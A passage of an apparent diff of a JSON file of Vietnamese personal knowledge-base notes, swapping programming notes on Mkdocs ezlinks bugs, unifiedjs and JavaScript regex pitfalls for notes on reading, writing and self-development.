viết/Ghi chú thông tin/Ý tưởng nếu không ghi lại ngay sẽ quên rất nhanh", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ezlink là plugin cho Mkdocs để chuyển từ dạng `[[wikilink]]` sang dạng `[MDlink]()`. Nó được để mặc định trong GitHub Publisher. Nó có nhiều lỗi. Ví dụ, với `mkdocs.yml`:\n```yaml\nsite_name: test\nplugins:\n  - ezlinks:\n        wikilinks: true\n```\n\nVà cấu trúc thư mục ban đầu:\n```\ndocs/ \n├── index.md \n└── a/ \n\t└── index.md\n```\n\nSau khi dựng ta sẽ có:\n```\nsite/ \n├── index.html\n└── a/ \n\t└── index.html\n```\n\nNếu trong `docs/index.md` bạn có nội dung sau:\n```markdown\n[[a/index]]\n[[a/index.md]]\n[[./a/index]]\n[[./a/index.md]]\n```\nThì ở `site/index.html` sẽ ra kết quả html như sau:\n```html\n| docs/index.md | site/index.html | Trỏ đúng |\n| ---------------- | -------------------------------------------------- | -------- |\n| [[a/index]] | a/index | ✔ |\n| [[a/index.md]] | a/index.md | ✔ |\n| [[./a/index]] | ./a/index | ❌ |\n| [[./a/index.md]] | ./a/index.md | ✔ |\n```\n\nĐồng thời Mkdocs sẽ báo như sau:\n```\nINFO - Doc file 'index.md' contains an\n unrecognized relative link\n 'a/index', it was left as is. Did \n you mean 'a/index.md'?\n```\n\nĐây là các bug khác:\n\n- [Incorrect path doesn't stay incorrectly, but automatically is replaced with a different path](https://github.com/Lisandra-dev/mkdocs-ezlinked-plugin/issues/3 \"Incorrect path doesn't stay incorrectly, but automatically is replaced with a different path · Issue #3 · Lisandra-dev/mkdocs-ezlinked-plugin\")\n- [Expecting `[[./a/index]]` to return `Lectures, as a medium, have no carefully-considered cognitive model at their foundation. Yet if we were aliens observing typical lectures from afar, we might notice the _implicit_ model they appear to share: “the lecturer says words describing an idea; the class hears the words and maybe scribbles in a notebook; then the class understands the idea.” In learning sciences, we call this model “[transmissionism](https://en.wiktionary.org/wiki/transmissionism).” It’s the notion that knowledge can be directly transmitted from teacher to student, like transcribing text from one page onto another. If only! The idea is so thoroughly discredited that “transmissionism” is only used pejoratively, in reference to naive historical teaching practices. Or as an ad-hominem in juicy academic spats.\n>\n>Of course, good lecturers don’t usually _believe_ that simply telling their audience about an idea causes them to understand it. It’s just that lectures, as a format, are shaped _as if_ that were true, so lecturers mostly _behave_ as if it were true.\n[[Tranmissionism cho rằng kiến thức có thể được truyền trực tiếp]] \n[[Books, as a format, are shaped as if tranmissionism were true, so writers mostly behave as if it were true]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:48:00.000Z", - "id": "bj" + "id": "fV" }, { - "Tiêu đề": "parser là thứ để biến văn bản thành cây cú pháp. Compiler là thứ để biến cây cú pháp thành chữ", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/unifiedjs/parser là thứ để biến văn bản thành cây cú pháp. Compiler là thứ để biến cây cú pháp thành chữ", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Mua sách giấy", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Mua sách giấy", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```\n| ........................ process ........................... |\n| .......... parse ... | ... run ... | ... stringify ..........|\n\n +--------+ +----------+\nInput ->- | Parser | ->- Syntax Tree ->- | Compiler | ->- Output\n +--------+ | +----------+\n X\n |\n +--------------+\n | Transformers |\n +--------------+\n```\nNguồn:: ", + "Toàn bộ nội dung": "Có những cuốn ta quyết định không mua vì không thấy có ích trong việc gì hết Nhưng lúc nhìn vào thì lại thấy là bổ sung cho một thứ mình cần phải có định mua\n\nLý do không muốn mua sách giấy\n- Chúng ta không có nhiều tiền\n- Chúng ta không có thời gian\n\nLý do muốn mua sách giấy:\n- Cần được rút xuống ngay để tham khảo\n- Sau này sẽ ko còn bán\n\nLý do muốn đi nhà sách:\n- Khám phá\n- Nhìn vào những cuốn ko nghĩ ra là phải mua\n- Cảm xúc lúc đó\n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:48:00.000Z", - "id": "bk" + "id": "fW" }, { - "Tiêu đề": "Processor tự động freeze khi parse, run, runSync, stringify, process, or processSync được gọi", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/unifiedjs/Processor tự động freeze khi parse, run, runSync, stringify, process, or processSync được gọi", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Một văn bản không phải chỉ để truyền đạt thông tin hay hiểu biết, mà còn nên trở thành một sân chơi cho người đọc khám phá", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Một văn bản không phải chỉ để truyền đạt thông tin hay hiểu biết, mà còn nên trở thành một sân chơi cho người đọc khám phá", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "title: Processor tự động freeze khi parse, run, runSync, stringify, process, or processSync được gọi\nFreeze a processor.\n\nFrozen processors are meant to be extended and not to be configured directly.\n\nWhen a processor is frozen it cannot be unfrozen. New processors working the same way can be created by calling the processor.\n\nIt’s possible to freeze processors explicitly by calling `.freeze()`. Processors freeze automatically when `.parse()`, `.run()`, `.runSync()`, `.stringify()`, `.process()`, or `.processSync()` are called.\nNguồn:: [unified - unified](https://unifiedjs.com/explore/package/unified/#processorfreeze)", + "Toàn bộ nội dung": "Một cuốn sách không muốn bạn đọc những chữ ở trong nó. Một cuốn sách muốn trở thành một căn phòng để bạn bước vào và tương tác với những món đồ\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:48:00.000Z", - "id": "bl" + "id": "fX" }, { - "Tiêu đề": "remark là unified có remarkParse và remarkStringify", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/unifiedjs/remark là unified có remarkParse và remarkStringify", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Sự phát minh của việc viết phát minh ra việc lập luận", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Sự phát minh của việc viết phát minh ra việc lập luận", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Gọi `remark` thế này\n```js\nconst file = await remark()\n .use(remarkPresetLintConsistent)\n .use(remarkPresetLintRecommended)\n .process('1) Hello, _Jupiter_ and *Neptune*!')\n```\n\ntương đương với gọi `unified` thế này:\n```js\nconst file = await unified()\n .use(remarkParse)\n .use(remarkStringify)\n .use(remarkPresetLintConsistent)\n .use(remarkPresetLintRecommended)\n .process('1) Hello, _Jupiter_ and *Neptune*!')\n```\n\nNguồn:: [[Stack Overflow]], [Why can remark work independently from unified?](https://stackoverflow.com/a/78913256/3416774)", + "Toàn bộ nội dung": "[[Sự phát minh ra ký hiệu phát minh ra toán học hiện đại]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:48:00.000Z", - "id": "bm" + "id": "fY" }, { - "Tiêu đề": "unified, remark là các processor", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Markdown/unifiedjs/unified, remark là các processor", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Sự phát minh ra ký hiệu phát minh ra toán học hiện đại", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Sự phát minh ra ký hiệu phát minh ra toán học hiện đại", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Every processor implements another processor. To create a processor, call another processor. The new processor is configured to work the same as its ancestor. But when the descendant processor is configured in the future it does not affect the ancestral processor.\n\nWhen processors are exposed from a module (for example, `unified` itself) they should not be configured directly, as that would change their behavior for all module users. Those processors are _[frozen](https://github.com/unifiedjs/unified?tab=readme-ov-file#processorfreeze)_ and they should be called to create a new processor before they are used.\n\nNguồn:: [GitHub - unifiedjs/unified: ☔️ interface for parsing, inspecting, transforming, and serializing content through syntax trees](https://github.com/unifiedjs/unified?tab=readme-ov-file#processors)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T13:48:00.000Z", - "id": "bn" + "id": "fZ" }, { - "Tiêu đề": "Cần escape regex", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/Cần escape regex", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Ta không tận dụng hết được môi trường máy tính khi chỉ bắt chước môi trường giấy", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Ta không tận dụng hết được môi trường máy tính khi chỉ bắt chước môi trường giấy", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```js\nfunction escapeRegex(string) {\n return string.replace(/[/\\-\\\\^$*+?.()|[\\]{}]/g, '\\\\$&');\n}\n```\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", + "Toàn bộ nội dung": "[[Hành vi và phản ứng là những thứ native trong môi trường máy tính]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-25T13:54:00.000Z", - "id": "bo" + "id": "fa" }, { - "Tiêu đề": "Dùng regex.exec() với while dễ vào vòng lặp vô hạn", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/JavaScript/Dùng regex.exec() với while dễ vào vòng lặp vô hạn", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Viết cho phép bạn nghĩ về sự nghĩ", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Viết cho phép bạn nghĩ về sự nghĩ", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Để tránh vào vòng lặp vô hạn, \r\n- Do _not_ place the regular expression literal (or [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) constructor) within the `while` condition — it will recreate the regex for every iteration and reset [`lastIndex`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex).\r\n- Be sure that the [global (`g`) flag](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_expressions#advanced_searching_with_flags) is set, or `lastIndex` will never be advanced.\r\n- If the regex may match zero-length characters (e.g. `/^/gm`), increase its [`lastIndex`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex) manually each time to avoid being stuck in the same place.\r\n\r\nNguồn:: [[MDN]], [RegExp.prototype.exec() - JavaScript | MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec#examples \"RegExp.prototype.exec() - JavaScript | MDN\")\r\n", + "Toàn bộ nội dung": "[[Sự phát minh của việc viết phát minh ra việc lập luận]] \n[[Giấy và bút không thể hiện hành vi của hệ thống đang được nghiên cứu]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-23T14:42:00.000Z", - "Ngày cập nhật": "2024-08-25T13:40:00.000Z", - "id": "bp" + "id": "fb" }, { - "Tiêu đề": "Dùng regex.test(string) trực tiếp ngay trong if có thể ra sai", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/JavaScript/Dùng regex.test(string) trực tiếp ngay trong if có thể ra sai", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Viết làm suy nghĩ không còn là vô hình", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Viết làm suy nghĩ không còn là vô hình", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Để `regex.test()` ngay trong `if`:\r\n```js\r\nvar string = 'aaa lấy tôi bbb'\r\nvar regex = new RegExp('lấy tôi', 'gi');\r\nconsole.log(\"kết quả của regex.test khi ở ngoài if:\", regex.test(string))\r\nif (regex.test(string)) {\r\n    console.log(\"Nếu dòng này hiện nghĩa là điều kiện bằng true\")\r\n}\r\n\r\n//kết quả của regex.test khi ở ngoài if: true\r\n```\r\n\r\nCách sửa: tạo biến cho `regex.test()` trước:\r\n```js\r\nvar string = 'aaa lấy tôi bbb'\r\nvar regex = new RegExp('lấy tôi', 'gi');\r\ntest = regex.test(string)\r\nconsole.log(\"kết quả của regex.test khi ở ngoài if:\", test)\r\nif (test) {\r\n    console.log(\"Nếu dòng này hiện nghĩa là điều kiện bằng true\")\r\n}\r\n\r\n//kết quả của regex.test khi ở ngoài if: true\r\n//Nếu dòng này hiện nghĩa là điều kiện bằng true\r\n```\r\n\r\n[Regex.test(value) returns true when logged but false within an if statement](https://stackoverflow.com/a/59694184/3416774)\r\n\r\n", + "Toàn bộ nội dung": "[[Viết cho phép bạn nghĩ về sự nghĩ]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-25T13:40:00.000Z", - "id": "bq" + "id": "fc" }, { - "Tiêu đề": "regex.exec(), regex.test() thay đổi kết quả sau những lần gọi mới", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/JavaScript/regex.exec(), regex.test() thay đổi kết quả sau những lần gọi mới", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Việc rút gọn cả bài thành câu tóm tắt chỉ có tác dụng khi mình hiểu dược những khái niệm quan trọng trong bài", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Việc rút gọn cả bài thành câu tóm tắt chỉ có tác dụng khi mình hiểu dược những khái niệm quan trọng trong bài", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[MDN]], [RegExp.prototype.test() - JavaScript | MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test)\r\n\r\n[[Dùng regex.exec() với while dễ vào vòng lặp vô hạn]] \r\n[[Dùng regex.test(string) trực tiếp ngay trong if có thể ra sai]]\r\n", + "Toàn bộ nội dung": "[[Đọc mục lục một cuốn sách thì đơn giản, nhưng có thể truy xuất được điều mình cần và vận dụng nó một cách hiệu quả thì phải đọc cả cuốn sách]]\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-25T13:40:00.000Z", - "id": "br" + "id": "fd" }, { - "Tiêu đề": "Không dùng \\b ngay sau ký tự unicode được", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/Không dùng b ngay sau ký tự unicode được", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Đọc mục lục một cuốn sách thì đơn giản, nhưng có thể truy xuất được điều mình cần và vận dụng nó một cách hiệu quả thì phải đọc cả cuốn sách", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đọc và viết/Đọc mục lục một cuốn sách thì đơn giản, nhưng có thể truy xuất được điều mình cần và vận dụng nó một cách hiệu quả thì phải đọc cả cuốn sách", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Why does /đ\\b/ not match đ? (duplicate)](https://stackoverflow.com/q/76627655/3416774)\nNếu dùng `(?=$|\\P{L})` thì lại chạy lâu. Dễ nhất là thêm khoảng trắng ở ngay sau input và \n```js\ninput = input + ' '\nvar regex = new RegExp(word + ' ', 'gi');\nconst test = regex.test(input)\n```\n[[Ý nghĩa của biểu thức regex trong hàm lọcDữLiệuCầnTựĐộngNhậnDạng()]]\nNguồn:: [[Stack Overflow]], [How can I use Unicode-aware regular expressions in JavaScript?](https://stackoverflow.com/a/52205643/3416774)\n", + "Toàn bộ nội dung": "Nhiều khi việc đọc lên cũng mơ hồ, giống như những âm thanh vô nghĩa đi vào tai rồi đi ra. Chỉ khi đọc hết quyển sách thì nó mới rõ ràng\n[[Việc rút gọn cả bài thành câu tóm tắt chỉ có tác dụng khi mình hiểu dược những khái niệm quan trọng trong bài]] \nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-25T13:54:00.000Z", - "id": "bs" + "id": "fe" }, { - "Tiêu đề": "Lazy quantifier chỉ lười về bên phải, chứ không lười về bên trái", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/Lazy quantifier chỉ lười về bên phải, chứ không lười về bên trái", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Đồ thị giúp ta thấy được mẫu hình", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Môi trường nghĩ, nhận thức tăng cường/Đồ thị giúp ta thấy được mẫu hình", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nếu bạn có chuỗi sau:\n```\nSTART START word word word END\n```\nvà có regex này với cờ `gm`:\n```\nSTART.*?END\n```\n\nThì kết quả sẽ không phải là:\n```\nSTART word word word END\n```\nmà là nguyên chuỗi gốc.\n\nNhưng nếu chuỗi có dạng:\n```\nSTART word word word END END\n```\nThì nó sẽ ra đúng kết quả.\n\nNguồn:: [[Stack Overflow]], [Why is the lazy quantifier indeed lazy to the right, but not to the left?](https://stackoverflow.com/q/77134671/3416774)\n", + "Toàn bộ nội dung": "Khái niệm :: [[Mẫu hình (pattern)]]\nNguồn:: ![A Skeptics Guide to Graph Databases - David Bechberger - YouTube](https://youtu.be/yOYodfN84N4?t=640)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T09:28:00.000Z", - "Ngày cập nhật": "2024-08-25T13:55:00.000Z", - "id": "bt" + "id": "ff" }, { - "Tiêu đề": "Regex giúp tìm kiếm những chuỗi phức tạp", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/Regex giúp tìm kiếm những chuỗi phức tạp", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Các buổi giới thiệu sách", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Phát triển bản thân/Các buổi giới thiệu sách", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## Tạo query DQL từ danh sách các key\nDo that in several steps. \n1) `^.*$` ⇒ `$& as \"$&\"`\n2) `(?:\\G|^\\S*)\\K\\h+(?=.* as \".*\"$)` ⇒ `-,`\n3) `(?:\\G-|^)[^-]+(?=\\S* as \".*\"$)` ⇒ `\\L$&`\nhttps://stackoverflow.com/questions/75015542/how-to-convert-multiple-words-into-multiple-words-as-multiple-words\n\n[[Tự học regex]]\n\n", + "Toàn bộ nội dung": "- Tương tác xã hội\r\n-\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-25T13:56:00.000Z", - "id": "bu" + "id": "fg" }, { - "Tiêu đề": "Tự học regex", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Regex/Tự học regex", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Có 3 loại thú vị", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Phát triển bản thân/Có 3 loại thú vị", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Regex 101 - EN](https://regexlearn.com/learn/regex101)\r\n[RegexOne - Learn Regular Expressions - Lesson 1: An Introduction, and the ABCs](https://regexone.com/)\r\n", + "Toàn bộ nội dung": "![[sketchplanations-the-fun-scale.png]]\nNguồn:: https://www.tetongravity.com/story/Culture/the-three-and-a-half-types-of-fun-explained", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-21T07:19:00.000Z", - "Ngày cập nhật": "2024-08-25T13:40:00.000Z", - "id": "bv" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-01-08T13:32:00.000Z", + "id": "fh" }, { - "Tiêu đề": "Bộ gõ tiếng Việt", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Bộ gõ tiếng Việt", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Hiểu ý nhau", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Phát triển bản thân/Hiểu ý nhau", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\n[Nhật ký phát triển GõKey - Tuần 1 | Huy's Blog](https://notes.huy.rocks/posts/devlog-gokey-week-01.html)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-31T08:06:00.000Z", - "id": "bw" + "id": "fi" }, { - "Tiêu đề": "Các ký tự ASCII có 1 điểm mã", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Các ký tự ASCII có 1 điểm mã", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Một nửa dân số Mỹ dành 2 tiếng mỗi ngày cho TikTok", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Phát triển bản thân/Mở rộng hiểu biết/Một nửa dân số Mỹ dành 2 tiếng mỗi ngày cho TikTok", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Kể cả khi viết nội dung bằng ngôn ngữ khác thì số ký tự ASCII vẫn nhiều hơn nhiều so với số ký tự phi ASCII]]\r\nNguồn:: [Regex Tutorial - Unicode Characters and Properties](https://www.regular-expressions.info/unicode.html)\r\n", + "Toàn bộ nội dung": "2 tiếng đó là đủ để đọc 1/4 quyển sách trung bình (85k từ)\n[[Một nửa dân số Mỹ đọc không quá 2 cuốn sách mỗi năm]]\nNguồn:: [Issue 44: Is Being Well Read Actually a Thing? Part I - Zero to One](https://www.bramadams.dev/issue-44/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:41:00.000Z", - "id": "bx" + "Ngày cập nhật": "2024-09-09T13:35:00.000Z", + "id": "fj" }, { - "Tiêu đề": "Cách máy tính hiểu ký tự khác với cách con người hiểu ký tự", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Cách máy tính hiểu ký tự khác với cách con người hiểu ký tự", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Một nửa dân số Mỹ đọc không quá 2 cuốn sách mỗi năm", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Phát triển bản thân/Mở rộng hiểu biết/Một nửa dân số Mỹ đọc không quá 2 cuốn sách mỗi năm", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![](https://www.youtube.com/watch?v=qOcxwRc2Epg&t=0s) \r\n\r\nTốt nhất là nên dùng điểm mã khi nói về ký tự máy tính\r\n[[Điểm mã không phải là cách để máy tính lưu ký tự]]\r\n[[Điểm mã liên quan đến việc con người đánh số thứ tự của ký tự thế nào. Đơn vị mã liên quan đến việc máy tính dùng phương thức nào để biết tìm ký tự đó ở đâu]]\r\n[[Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [Issue 44: Is Being Well Read Actually a Thing? Part I - Zero to One](https://www.bramadams.dev/issue-44/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-22T14:08:00.000Z", - "Ngày cập nhật": "2024-08-25T13:41:00.000Z", - "id": "by" + "Ngày tạo": "2024-09-09T13:35:00.000Z", + "Ngày cập nhật": "2024-09-09T13:35:00.000Z", + "id": "fk" }, { - "Tiêu đề": "Không gian mã là không gian chứa tất cả các điểm mã của Unicode", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Ký tự, văn bản, ngôn ngữ đánh dấu/Tiếng Việt, Unicode, emoji/Lý thuyết Unicode/Không gian mã là không gian chứa tất cả các điểm mã của Unicode", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Phát triển bản thân là một dự án kéo dài suốt đời", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Phát triển bản thân/Phát triển bản thân là một dự án kéo dài suốt đời", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Điểm mã liên quan đến việc con người đánh số thứ tự của ký tự thế nào. Đơn vị mã liên quan đến việc máy tính dùng phương thức nào để biết tìm ký tự đó ở 